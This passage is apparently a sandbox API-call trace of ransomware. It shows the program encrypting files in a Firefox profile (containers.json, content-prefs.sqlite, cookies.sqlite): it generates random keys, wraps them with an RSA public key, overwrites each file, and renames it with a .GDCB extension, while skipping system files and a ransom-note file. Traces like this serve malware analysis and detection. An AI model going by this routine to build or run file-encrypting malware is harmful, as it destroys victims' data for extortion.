lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" [0055.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.GDCB" [0055.296] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.296] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.296] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.296] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.296] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.296] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.296] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.297] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.297] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.297] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.297] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.297] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.297] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.297] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.297] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.298] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.298] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0055.300] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8070) returned 1 [0055.300] CryptGetKeyParam (in: hKey=0x5b8070, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.300] CryptEncrypt (in: hKey=0x5b8070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.300] GetLastError () returned 0x0 [0055.300] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.300] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.302] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8130) returned 1 [0055.302] CryptGetKeyParam (in: hKey=0x5b8130, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.302] CryptEncrypt (in: hKey=0x5b8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.302] GetLastError () returned 0x0 [0055.302] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.302] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\containers.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.302] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.302] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.303] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x329, lpOverlapped=0x0) returned 1 [0055.308] VirtualAlloc (lpAddress=0x0, dwSize=0x330, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.308] VirtualAlloc (lpAddress=0x0, dwSize=0x330, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.308] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.308] SetFilePointer (in: hFile=0x504, lDistanceToMove=-809, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.309] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x330, lpOverlapped=0x0) returned 1 [0055.309] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.309] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.311] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.312] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.312] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.312] CloseHandle (hObject=0x504) returned 1 [0055.312] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.312] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.313] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.313] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\containers.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\containers.json.gdcb")) returned 1 [0055.313] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.313] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.314] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.314] lstrcmpW (lpString1="content-prefs.sqlite", lpString2=".") returned 1 [0055.314] lstrcmpW (lpString1="content-prefs.sqlite", lpString2="..") returned 1 [0055.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="content-prefs.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" [0055.314] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.314] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100 [0055.314] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100 [0055.314] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100 [0055.314] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="desktop.ini") returned -1 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="autorun.inf") returned 1 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="ntuser.dat") returned -1 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="iconcache.db") returned -1 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="bootsect.bak") returned 1 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="boot.ini") returned 1 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="ntuser.dat.log") returned -1 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="thumbs.db") returned -1 [0055.314] lstrcmpiW (lpString1="content-prefs.sqlite", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.314] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\content-prefs.sqlite")) returned 0x20 [0055.314] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite", dwFileAttributes=0x20) returned 1 [0055.314] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.315] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" [0055.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.GDCB" [0055.315] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.315] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.315] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.315] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.315] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.316] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.316] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.316] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.316] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.316] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.316] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.316] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.316] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.317] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.317] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.317] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0055.319] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b7e30) returned 1 [0055.319] CryptGetKeyParam (in: hKey=0x5b7e30, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.319] CryptEncrypt (in: hKey=0x5b7e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.319] GetLastError () returned 0x0 [0055.319] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.319] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.321] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b7eb0) returned 1 [0055.321] CryptGetKeyParam (in: hKey=0x5b7eb0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.321] CryptEncrypt (in: hKey=0x5b7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.321] GetLastError () returned 0x0 [0055.321] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.322] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\content-prefs.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.322] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.322] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.322] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x38000, lpOverlapped=0x0) returned 1 [0055.328] VirtualAlloc (lpAddress=0x0, dwSize=0x38000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.330] VirtualAlloc (lpAddress=0x0, dwSize=0x38000, flAllocationType=0x3000, flProtect=0x4) returned 0x29f0000 [0055.333] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.333] SetFilePointer (in: hFile=0x504, lDistanceToMove=-229376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.333] WriteFile (in: hFile=0x504, lpBuffer=0x29f0000*, nNumberOfBytesToWrite=0x38000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29f0000*, lpNumberOfBytesWritten=0x285e820*=0x38000, lpOverlapped=0x0) returned 1 [0055.334] VirtualFree (lpAddress=0x29f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.335] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.337] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.338] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.338] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.338] CloseHandle (hObject=0x504) returned 1 [0055.341] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.341] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.341] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.341] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\content-prefs.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\content-prefs.sqlite.gdcb")) returned 1 [0055.342] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.342] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.342] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.342] lstrcmpW (lpString1="cookies.sqlite", lpString2=".") returned 1 [0055.342] lstrcmpW (lpString1="cookies.sqlite", lpString2="..") returned 1 [0055.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="cookies.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" [0055.342] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.342] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94 [0055.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94 [0055.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94 [0055.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="desktop.ini") returned -1 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="autorun.inf") returned 1 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="ntuser.dat") returned -1 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="iconcache.db") returned -1 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="bootsect.bak") returned 1 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="boot.ini") returned 1 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="ntuser.dat.log") returned -1 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="thumbs.db") returned -1 [0055.342] lstrcmpiW (lpString1="cookies.sqlite", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.343] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cookies.sqlite")) returned 0x20 [0055.343] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite", dwFileAttributes=0x20) returned 1 [0055.343] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.343] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" [0055.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite.GDCB" [0055.344] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.344] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.344] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.344] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.344] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.344] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.344] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.344] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.345] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.345] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.345] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.345] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.345] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.345] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.345] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.346] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0055.347] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b83b0) returned 1 [0055.347] CryptGetKeyParam (in: hKey=0x5b83b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.347] CryptEncrypt (in: hKey=0x5b83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.348] GetLastError () returned 0x0 [0055.348] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.348] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff08) returned 1 [0055.349] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b82f0) returned 1 [0055.349] CryptGetKeyParam (in: hKey=0x5b82f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.349] 